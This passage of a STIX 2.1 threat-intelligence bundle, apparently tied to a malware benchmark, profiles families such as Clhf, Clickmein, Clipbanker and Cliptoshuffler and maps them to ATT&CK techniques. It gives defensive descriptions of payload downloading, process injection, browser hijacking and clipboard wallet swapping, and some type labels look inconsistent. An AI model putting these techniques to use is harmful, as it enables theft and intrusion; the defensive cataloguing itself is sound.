      "spec_version": "2.1",
      "id": "relationship--b5a64834-b5d5-5b79-82e0-89b636a85e6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2a6a054-dc81-5396-80fb-b7f552100363",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clearsearch exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78dd1718-f709-5bc8-ad14-09c33ccff334",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2a6a054-dc81-5396-80fb-b7f552100363",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clearsearch exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b070b55b-f649-50e9-a1f7-0a7175701c71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2a6a054-dc81-5396-80fb-b7f552100363",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clearsearch exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ea5722df-6463-5c40-95f6-98a90428e398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Clhf",
      "description": "TrojanDownloader:Win32/Clhf is a specialized trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads. Unlike a backdoor that provides interactive control, Clhf acts purely as an automated 'Initial Access Broker' tool. Its primary objective is to silently connect to a Command-and-Control (C2) server and pull down the final, destructive payload (such as ransomware, infostealers, or botnet clients) (`T1105`).<br><br><b>Understanding Clhf (Downloaders)</b><br>To an end-user, a Clhf infection is entirely invisible. The danger lies in what it brings with it. For an incident response team, the presence of Clhf indicates an active breach where the primary damage has likely not yet occurred, but is imminent. Detecting the downloader before it fetches the payload is critical.<br><br><b>Execution and Evasion Strategies</b><br>Clhf is commonly distributed via malspam campaigns containing weaponized attachments (like ZIP files or Office macros). Upon execution, it utilizes packing and obfuscation to evade static antivirus signatures (`T1027`). It drops a randomized executable into the `%Temp%` directory. To mask its outbound network traffic, Clhf frequently injects its downloading routine into legitimate system processes (like `svchost.exe` or `explorer.exe`) (`T1055`). It then makes HTTP/HTTPS GET requests to hardcoded or DGA-generated domains to fetch the payload.<br><br><b>Indicators of Compromise (IoCs)</b><br>Host-based IoCs include EDR alerts for 'Suspicious Process Injection' or legitimate processes making unexpected outbound network connections. The rapid creation of `.exe` or `.dll` files in the `%Temp%` or `%AppData%` directories by anomalous parent processes is a strong indicator. Network IoCs involve identifying the specific C2 domains or IP addresses Clhf contacts to fetch its payloads. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Clhf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/clhf"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd5bfebf-3866-5670-808d-b450c044fa0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea5722df-6463-5c40-95f6-98a90428e398",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clhf exhibits technique T1105 (Ingress Tool Transfer (The core function of fetching the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfa5687e-e8cd-5394-b8ef-3472bacd3508",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea5722df-6463-5c40-95f6-98a90428e398",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clhf exhibits technique T1055 (Process Injection (Injecting into svchost.exe to hide network traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f7955b1-94dc-5607-a6b0-5331064682bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea5722df-6463-5c40-95f6-98a90428e398",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clhf exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution vector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a17d5dd2-0d32-595e-9ab4-af4d4eafce56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea5722df-6463-5c40-95f6-98a90428e398",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clhf exhibits technique T1027 (Obfuscated Files or Information (Packing the downloader to bypass AV))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--114616ef-0c37-5082-95da-3ce5e951f288",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Clickmein",
      "description": "Adware:Win32/Clickmein is an intrusive adware component designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Clickmein</b><br>To an end-user, Clickmein manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Clickmein is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Clickmein",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/clickmein"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3e8a903-eaf2-575a-9922-ed895a65940e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--114616ef-0c37-5082-95da-3ce5e951f288",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clickmein exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5df07b7a-1f2e-54da-ae72-35240e27753a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--114616ef-0c37-5082-95da-3ce5e951f288",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clickmein exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4d2e9eb-0184-51d3-a820-ecf790c92aa4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--114616ef-0c37-5082-95da-3ce5e951f288",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clickmein exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60476da0-2abf-5408-b073-9d1231141ee5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--114616ef-0c37-5082-95da-3ce5e951f288",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clickmein exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--76602cc4-4a6d-590d-8722-a02ded391b98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Clickshell",
      "description": "Adware:Win32/Clickshell is a type of malware designed specifically for **Click Fraud**. Unlike standard adware that simply displays annoying pop-ups to the user, Clickshell operates silently in the background, programmatically generating fake web traffic and simulating mouse clicks on specific advertisements to generate illicit Pay-Per-Click (PPC) revenue for the attacker.<br><br><b>Understanding Clickshell (Click Fraud)</b><br>To an end-user, a Clickshell infection is mostly invisible, though it may cause significant network sluggishness, battery drain on laptops, or increased CPU usage as it constantly renders invisible web pages in the background. For a security team, it represents a breach of endpoint integrity and an unauthorized consumption of corporate network bandwidth.<br><br><b>Execution and Click Simulation Mechanics</b><br>Clickshell is often bundled with free software or delivered via malvertising (`T1189`). Upon execution (`T1204.002`), it establishes persistence via a hidden scheduled task or registry key (`T1547.001`). The malware operates by running a hidden, headless browser instance (like a customized version of Chromium or Internet Explorer). It connects to a C2 server to receive a list of target URLs. It then navigates to these URLs, parses the DOM to locate specific advertisement iframes, and programmatically simulates user interaction (scrolling and clicking) (`T1491.001` - modified context for fraud). It often rotates through proxies or VPNs to make the clicks appear to originate from different IP addresses, avoiding fraud detection by the ad networks.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is wasted bandwidth, reduced system performance, and participation in ad fraud. Host-based IoCs include EDR alerts for multiple instances of browser executables (`chrome.exe`, `iexplore.exe`) running entirely in the background (no visible UI) consuming significant memory and network resources. Network IoCs include a constant, high volume of HTTP/HTTPS traffic to known advertising networks, affiliate links, and proxy servers, occurring even when the user is inactive. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Clickshell",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/clickshell"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccd0ce25-6a86-5811-8d11-e9b73e8f6cf4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76602cc4-4a6d-590d-8722-a02ded391b98",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clickshell exhibits technique T1496 (Resource Hijacking (Consuming bandwidth for ad fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ba36d77-d848-5c0b-a09e-340f8e1bdcf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76602cc4-4a6d-590d-8722-a02ded391b98",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clickshell exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Simulating web traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82e7bb1b-3309-59ef-93e3-80e377ad724b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76602cc4-4a6d-590d-8722-a02ded391b98",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clickshell exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bc68b50-1f84-55b4-814c-9a15e7343518",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76602cc4-4a6d-590d-8722-a02ded391b98",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clickshell exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0017799f-f369-5790-8f5d-272a724b359d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Client",
      "description": "<h3>Executive Summary</h3>\nIn the context of malware taxonomy, \"Client\" is a generic classification denoting the client-side executable of a Remote Access Trojan (RAT), botnet, or backdoor architecture. It is the payload installed on the victim's machine, responsible for receiving commands from the attacker's Command and Control (C2) server (the \"server\" side of the architecture) and executing those instructions to facilitate espionage, data theft, or lateral movement.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nBecause it is a generic component, the infection vectors vary wildly, ranging from spear-phishing and malvertising to exploitation of vulnerable internet-facing services (like RDP or SMB).\n\nUpon execution, the \"Client\" component establishes the backbone of the attack:\n<ul>\n<li><strong>C2 Beaconing:</strong> The client immediately attempts to phone home to its C2 infrastructure. It establishes an encrypted connection (often masquerading as legitimate HTTPS or DNS traffic) and sends a \"beacon\" containing basic system telemetry (OS, IP, hostname) to register itself as an active node.</li>\n<li><strong>Command Execution:</strong> The client enters a listening state, awaiting instructions. These commands can include instructions to download additional payloads, execute shell commands, initiate a keylogger, take screenshots, or exfiltrate specific files.</li>\n<li><strong>Persistence and Defense Evasion:</strong> The client will establish persistence (via Registry Run keys or Scheduled Tasks) and often attempts to inject itself into legitimate system processes (like `svchost.exe`) to hide its network connections from local firewalls.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a RAT \"Client\" on a corporate endpoint is a critical security emergency. It indicates that a remote attacker has established a persistent, interactive foothold within the network. This level of access allows the attacker to bypass almost all local security controls and pivot laterally to high-value targets.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Severing the C2 connection is the absolute highest priority. Disconnect the infected machine from the network immediately to prevent the attacker from executing commands or exfiltrating data.</li>\n<li><strong>Forensic Triage:</strong> Utilize EDR tools to analyze the client's network connections (to identify the C2 IP/Domain for perimeter blocking) and its execution history (to determine what commands the attacker may have already run).</li>\n<li><strong>Bare-Metal Re-imaging:</strong> Due to the extensive, interactive control a RAT client provides, attempting to manually clean the system is highly risky. The attacker likely installed secondary backdoors. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.RAT.Client",
        "Backdoor.Client",
        "Win32/Client.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Client",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/client"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--139ccb22-f4ea-5233-b469-98940ad5fd5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0017799f-f369-5790-8f5d-272a724b359d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Client exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--098bfb2f-5c0c-5a3d-a123-a209e57f5831",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0017799f-f369-5790-8f5d-272a724b359d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Client exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76c37489-10c6-5694-9615-d36c9d0e7246",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0017799f-f369-5790-8f5d-272a724b359d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Client exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6396bdb7-17c0-5a81-a3ce-de8d8084f565",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0017799f-f369-5790-8f5d-272a724b359d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Client exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6c078b95-ad49-56d8-ab4c-8653c977b223",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Clipbanker",
      "description": "Clipbanker (extensively cataloged across threat intelligence databases and antivirus vendors under signatures including Trojan-Banker.Win32.ClipBanker, Trojan:Win32/ClipBanker, and Trojan.ClipBanker) is a notorious family of financial trojans and cryptocurrency clipboard hijackers active since 2015. Operating silently on infected endpoints, Clipbanker monitors the Windows clipboard using native API hooks (SetClipboardViewer or AddClipboardFormatListener). Whenever a user copies a string of text, Clipbanker runs regular expression algorithms to detect cryptocurrency wallet addresses (Bitcoin, Ethereum, Monero, Litecoin, Ripple) or European bank account numbers (IBANs). The moment a target address is detected, Clipbanker instantly substitutes it with a preconfigured attacker-controlled wallet or account address. Because users rarely verify every character of long hexadecimal crypto addresses before clicking 'Send', funds are irreversibly transferred directly to the threat actor. (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Banker.Win32.ClipBanker",
        "Trojan:Win32/ClipBanker",
        "Trojan.ClipBanker",
        "Win32/ClipBanker",
        "ClipBanker.Gen",
        "Trojan-Banker:Win32/ClipBanker.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Clipbanker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/clipbanker"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5b146276-dc70-5e16-8390-eaeac8f75327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Clipspy",
      "description": "<h3>Executive Summary</h3>\nClipSpy is a utility designed to monitor, inspect, and log the contents of the Windows system clipboard. While it can be utilized legitimately by developers debugging clipboard operations, in a corporate security context, it is broadly classified as \"Riskware\" or a HackTool. Threat actors frequently deploy clipboard monitoring tools to harvest sensitive information\u2014most notably passwords copied from password managers and cryptocurrency wallet addresses.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nClipSpy is not typically self-propagating. It is either downloaded intentionally by an insider threat or dropped as a secondary payload by a broader malware framework (like a RAT or info-stealer) after initial access has been achieved.\n\nUpon execution, the tool leverages standard Windows APIs to perform continuous surveillance:\n<ul>\n<li><strong>Clipboard Hooking:</strong> ClipSpy hooks into the Windows clipboard event chain (often using `SetClipboardViewer` or modern equivalents). This allows the application to be notified immediately whenever new data is copied to the clipboard by any application on the system.</li>\n<li><strong>Data Parsing (Cryptojacking):</strong> Malicious use of clipboard monitors often involves regex parsing. The tool actively scans copied text for patterns matching cryptocurrency wallet addresses. If a match is found, the tool may instantly replace the victim's copied address with the attacker's wallet address, ensuring any subsequent transfer goes to the attacker.</li>\n<li><strong>Credential Harvesting:</strong> If users utilize password managers but fail to use auto-fill (resorting to copy-pasting passwords), the clipboard monitor will capture the plaintext credentials before they are pasted into the login prompt.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of a clipboard monitor like ClipSpy is a significant privacy and security risk. It represents a highly effective method for harvesting high-value data (credentials and financial routing information) while bypassing encryption and many traditional network monitoring controls.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Investigate the Source:</strong> Determine how the tool was introduced to the environment. If it was installed by an employee, investigate for potential insider threat activity. If dropped by another process, a broader malware infection is underway.</li>\n<li><strong>Comprehensive Credential Reset:</strong> If the tool was active, it must be assumed that any password copied on that machine has been compromised. All relevant credentials must be reset immediately.</li>\n<li><strong>Process Termination and Removal:</strong> The tool can typically be removed using standard enterprise anti-malware solutions. Ensure that any associated persistence mechanisms (like registry `Run` keys or Scheduled Tasks) that launch the monitor at boot are completely purged.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.ClipSpy",
        "HackTool.ClipboardMonitor",
        "PUP.ClipSpy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Clipspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/clipspy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a2ebfcb-6612-5595-92db-768d3dfafdbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b146276-dc70-5e16-8390-eaeac8f75327",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clipspy exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f28847ae-87b1-5860-b21d-f5bfaf876634",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b146276-dc70-5e16-8390-eaeac8f75327",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clipspy exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc3f3823-d8b2-5768-aa81-b84101e56546",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b146276-dc70-5e16-8390-eaeac8f75327",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clipspy exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e18e7fb-5c3b-596b-b528-1d02de4af127",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b146276-dc70-5e16-8390-eaeac8f75327",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clipspy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c50f705-3d4c-5a9f-b654-608eb5f0a616",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b146276-dc70-5e16-8390-eaeac8f75327",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clipspy exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c46ea005-2dbe-593b-a16a-829a653747ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b146276-dc70-5e16-8390-eaeac8f75327",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clipspy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab0cd631-025d-54f8-847e-3290eeaf7c6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cliptoshuffler",
      "description": "<h3>Executive Summary</h3>\nCliptoshuffler (often referred to simply as a \"Clipper\") is a highly specialized and stealthy Trojan engineered specifically to steal cryptocurrency. It operates by continuously monitoring the infected system's clipboard. When it detects a string resembling a cryptocurrency wallet address, it instantly replaces it with a wallet address controlled by the attacker, hijacking the transaction before it is sent.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nClippers are frequently bundled with other malware, distributed via Malspam, hidden inside \"cracked\" software, or dropped by initial access brokers who have already compromised a system.\n\nOnce resident in memory, Cliptoshuffler executes its targeted theft routine:\n<ul>\n<li><strong>Clipboard Hooking:</strong> The malware utilizes Windows APIs (such as `SetClipboardViewer` or polling the clipboard via `GetClipboardData`) to continuously monitor any text copied by the user.</li>\n<li><strong>Pattern Matching:</strong> The Trojan contains a list of Regular Expressions (Regex) designed to identify the distinct formats of various cryptocurrency addresses, including Bitcoin (starting with 1, 3, or bc1), Ethereum (starting with 0x), Litecoin, and Monero.</li>\n<li><strong>On-the-Fly Substitution:</strong> When a user copies a legitimate recipient address to paste it into their wallet software or an exchange portal, Cliptoshuffler instantly overwrites the clipboard contents with the attacker's corresponding address. If the user fails to double-check the pasted address before authorizing the transaction, the funds are irreversibly sent to the attacker.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cliptoshuffler infection leads to immediate, irreversible financial loss. Because cryptocurrency transactions cannot be reversed or charged back, the theft is absolute. The malware is designed to be entirely invisible to the user until the moment the transaction is finalized.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint 